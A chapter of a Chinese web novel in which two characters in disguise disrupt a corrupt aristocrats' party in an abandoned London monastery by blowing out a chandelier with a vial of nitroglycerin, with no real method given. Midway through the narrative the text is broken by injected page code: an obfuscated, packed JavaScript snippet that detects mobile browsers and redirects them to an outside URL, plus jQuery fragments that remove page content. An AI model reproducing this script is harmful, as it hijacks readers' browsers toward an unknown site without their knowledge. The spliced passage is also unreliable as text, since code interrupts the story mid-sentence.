“你有办法?”
“没有。”他理直气壮的说。
“那你拉着我过来做什么?”莉莉贝特的脾气再次蹭蹭上涨,怒从中来,跺着脚又要去踩他鞋面,但这次被他轻松躲过。
杰诺尔一个灵活的转身绕到她身后,嘴角痞痞地扬起。
“你不是想阻止公爵小姐参加舞会吗?我可以做到”
“没有办法,怎么做到?”她一脸狐疑。
“当然就是……”他拍了拍衣袖,又从兜里掏出一块黑色的布料,布料不大,不知道的还以为他把谁的底裤掏走了。
他将那条“底裤”套在头上,藏起了他红得娇艳的头发,又变魔术似的找了一件黑色斗篷,将自己完全包裹住,期间时不时有人注意到他们,露出鄙夷的目光。
有人路过,不小心和他们撞了一下。
“抱歉……”莉莉贝特尴尬解释。
结果杰诺尔趁机轻轻贴近,故意凑在莉莉贝特的耳边,假装低语,动作暧昧。
莉莉贝特下意识后退,想推开他,没推得动,反而他越靠越近。
路人脸色越来越奇怪,时不时打量着杰诺尔头上奇怪的打扮,又时不时停留在莉莉贝特身上。
“你想干什么?”莉莉贝特在心里将他家三代都问候了一遍,用嘴型说。
他将莉莉贝特按在墙上,垂下头,鼻子在她肩窝嗅来嗅去。
莉莉贝特羞红了脸,他却得寸进尺,用不大不小,周围几人都能听到的声音,暧昧的说:“嫂子,你真聪明。我打扮成这样,别人就认不出和你在一起的人是我了?”
“唰——”莉莉贝特的脸色红成猴子屁股。
他得寸进尺,继续说:“嫂子,我们这样,要是让我哥知道了,他会不会打断我的腿。”
路人则露出一副像是吃了屎一样的表情,扭头就走。周围几人也纷纷绕远,给他们俩让出一块空地。
“杰诺尔!!你最好是真的有办法!!”莉莉贝特脸上的羞愧迅速转为愤怒,她脸色由红转青,拳头嘎嘎响。
他却得逞的轻笑一声,说:“没有办法。”
“那你是故意整我?”
“也不是。”
“那是什么,你告诉我?”
“我的想法是,把这里都炸了!”
“……”
————
没有人注意到角落那对拉扯的男女。
此时此刻,所有贵族的目光都沉溺在靡靡夜色与温柔乐曲里。
这里是伦敦最顶级、最风雅的私宴,却坐落一个废弃的修道院地下,处处透着诡异。
这些贵族,他们都知道自己是来做什么的,这看似华贵盛大的夜晚,内里早已腐坏溃烂,他们也是。
侍者端着红酒穿行其间,早已见惯贵族深夜荒唐,变得冷漠,目不斜视,不敢多言。大人物的玩乐,看多了,只会惹祸上身。
舞池中央,年轻男女随圆舞曲轻晃身姿,笑语盈盈,倒映在红酒杯的光影中。
贾马尔子爵靠在花台栏杆上,他刚从内厅出来,里面的糜烂气息熏得他鼻子疼,想走又有人不让他走,只好出来透透气。
红酒杯摇晃,有人向他缓缓而来,举手碰杯。
“贾马尔子爵。”
他是一位身穿华丽宫廷礼服的绅士,岁月也在他的脸上留下了些许痕迹,眼角有几条细纹,看起来年纪并不算小。
“唐纳德伯爵。”
贾马尔子爵连忙弯腰,向他行了一个标准的贵族礼。
“你我都服务于首相,就不要在乎这些贵族礼节了。”
这个被他称之为唐纳德的男人,眼底总是藏着一丝虚伪,他像是一位政客,眼里总是含着算计。
“不敢不敢…”贾马尔子爵略有些为难的笑了笑,再次向他行礼,“我只是首相的仆人,哪敢与大人们同起同坐。”
“唉,谦虚了。”他拍了拍贾马尔子爵的肩膀,脸上挂着狐狸笑,“既然都是服务于首相,那就没有高低贵贱之分,即使你只是他用于负责美色外交的管事,我们也不会看不起你的。”
他嘴上说着,眼底闪过一丝厌恶。
贾马尔子爵听出了他话里的嘲讽,他勉强扯了扯嘴角,头埋的更低。
是个人都听得出来,唐纳德这是在嘲讽他是首相用于经营情色交易的老鸨。
贾马尔子爵有苦不能言,只好顺着对方的话恭维。
“自是比不上您辛苦,等有机会,我一定好好感谢议会的大人们。”
他弯下腰,唐纳德不着痕迹的后退了半步,眼尾上挑挂着鄙夷,冷哼一声说,“感谢就不用了,下次若是有合适的美人,记得优先介绍给我,好处少不了你的。”
说完,他将手里已经空了的红酒杯放到侍从的托盘里,再次放到贾马尔子爵的肩膀上,手指缩紧,捏了捏。
感受到手下那人瞬间绷紧的身体,他似乎心情大好。
“听到了没有,子爵阁下。要是你做的好,钱少不了你的,我一定比他们都大方。”
“听……听到了……”
他吓得虎躯一震,无助的眼神向四周环了一圈,无人回应,最后只能低着头同意了。
门口的侍卫紧盯着整个会场,却没有一个眼神在子爵身上。而即便看见了,他们也不一定会施予援手。
会场一切安好,盛世风月。
然而,下一秒。
“轰隆”一声短促的锐响,炸开了整座宴会厅的喧闹!
头顶的巨型水晶吊灯骤然崩裂,琉璃碎片化作星光,漫天坠落,整座大厅一半坠入漆黑。
舞曲骤停,欢声笑语,尽数停歇。
全场死寂一瞬。
紧接着,震天的恐慌叫喊突然炸开。
贵族淑女花容失色,尖叫着往后躲闪,相互踩踏。绅士们撕破体面,推搡拥挤,争相往出口逃窜。
杯盏翻倒,酒水泼洒,桌椅乱移。短短一秒,沦为狼狈混乱的人间闹剧。
守卫们脸色骤变,他们握紧腰间佩剑,慌忙转身向外望去,却只看见一片漆黑。
今晚的宴会场,彻底失控了。
莉莉贝特紧跟在杰诺尔身后,她有些不敢相信自己的眼睛。
刚才那一瞬间,只见杰诺尔不知从哪掏出一个极小的瓶子,里面是一些淡黄色的油状液体,他只是将瓶子朝着天花板水晶灯的方向一扔,爆炸声瞬间炸开,空气中飘来一股淡淡的甜味、像稀释的甘油混着蜜香,不难闻。
现场一片混乱,贵族们的尖叫声此起彼伏。
莉莉贝特不知道瓶子是什么东西,她甚至以为是魔法,可惜还没来得及问,就被杰诺尔一把抓住,两人拐到了几个啤酒桶后面,蹲下。
“怎么回事?是谁做的?”
为首的卫兵主管身披铠甲,手握长枪,为平息混乱,他扯着嗓子大喊一声,声音盖过了所有人的吵闹。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600781|203463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“都给我停下!在调查完成之前,谁也休想离开这里。”
守卫从内门蜂拥而出,大门一敞,里面的糜烂气息瞬间将外面的空气全部污染,连那不难闻的甘油味也变得恶心甜腻起来。
莉莉贝特下意识捂住了鼻子。
杰诺尔看见了她的动作,习惯性打趣,“要不我把我的头套给你?”
“谁要学你把底裤套头上!!”恶魔小姐翻了一个大大的白眼。
“嘿,你还嫌弃我,这明明是头套。”
他顶着那个黑色头套,头套的设计除了丑字,莉莉贝特想不到任何其他形容。她曾见识过二十一世纪的人们设计的东西,不一定每一件都很美观,但至少还能入眼,然而杰诺尔这个……一块黑色裹脚布将他整张脸裹得严严实实,两只眼睛的部位斜斜划出来一块,露出两只大而有神的眼睛。
这个造型,让莉莉贝特想到了那些电视剧里面演的,把内裤穿在头上的搞笑劫匪。
原来艺术真的来源于生活,人类的潜力果然是无穷无尽的。
莉莉贝特自愧不如,再次反驳,“头套需要设计成这个鬼样子吗?你不想引人注目,戴个面具不就好了。”
听她说头套丑,他将布料往上拉了拉,调整了一下位置,将他整张脸更加严严实实的包在黑布下。
一边摆弄一边咕哝着,“面具哪里安全?一个没带稳就掉下来了,还不如这种贴身的头套。不仅能把我的头发完全藏起来,还能把我的脸也收进去。”
莉莉贝特嫌弃地瞪了他一眼。
“你别告诉我这个东西是你自己发明的。”
“不可以吗?多么完美的设计,将来一定能够改变伦敦的商业格局。”
蜉蝣撼树,不自量力。
莉莉贝特讨厌他总是夸大其词的样子。
会场哀嚎声不断,期间夹杂着若有若无的呻吟,像是有谁受伤了,又离不开,等待事情发酵。
两人躲在暗处,莉莉贝特戳了戳杰诺尔的腰肢。
“然后呢?你别告诉我,我们在这里干等着。”
“当然不是。”他的嗓音隔着那层布料,听着闷得不行。“硝酸甘油造成的爆炸能让水晶灯一时半会熄灭,但他们在调查完之前,不会让任何人离开这里。”
“那我们怎么办,浑水摸鱼吗?”
“藏不了,这里的会员都是有身份记录的。”
“那我们躲在这里也没有用啊,过不了多久,他们会用新的光源将整个会厅都照亮,到时候我们谁也跑不了。”
“谁说我们谁都跑不了?”他坏笑出声。
“难道你还有别的办法吗?我们可没有身份记录。”
莉莉贝特眉头紧锁,身体下意识往桶后又缩了缩,耳朵留意着四周越来越近的脚步声,心跳不由得加快。
“莉莉贝特小姐,你好像误会了什么。”杰诺尔微微侧头,慢悠悠直起半边身子,目光扫过往来巡查的守卫,语气带着几分戏谑,“我们之间,没有身份记录的人只有一个。”
莉莉贝特瞳孔骤然一缩,瞬间反应过来他话里的深意。
不好!杰诺尔,要坑她!!
她心头一沉,拔腿就要抽身,往外冲。
可她动作再快,也早被杰诺尔预判。
对方倏然探出手臂,牢牢扣住她的手腕,眼底含笑。
“莉莉贝特,你不是想要救公爵小姐吗?现在跑了,她可就真堕落了。”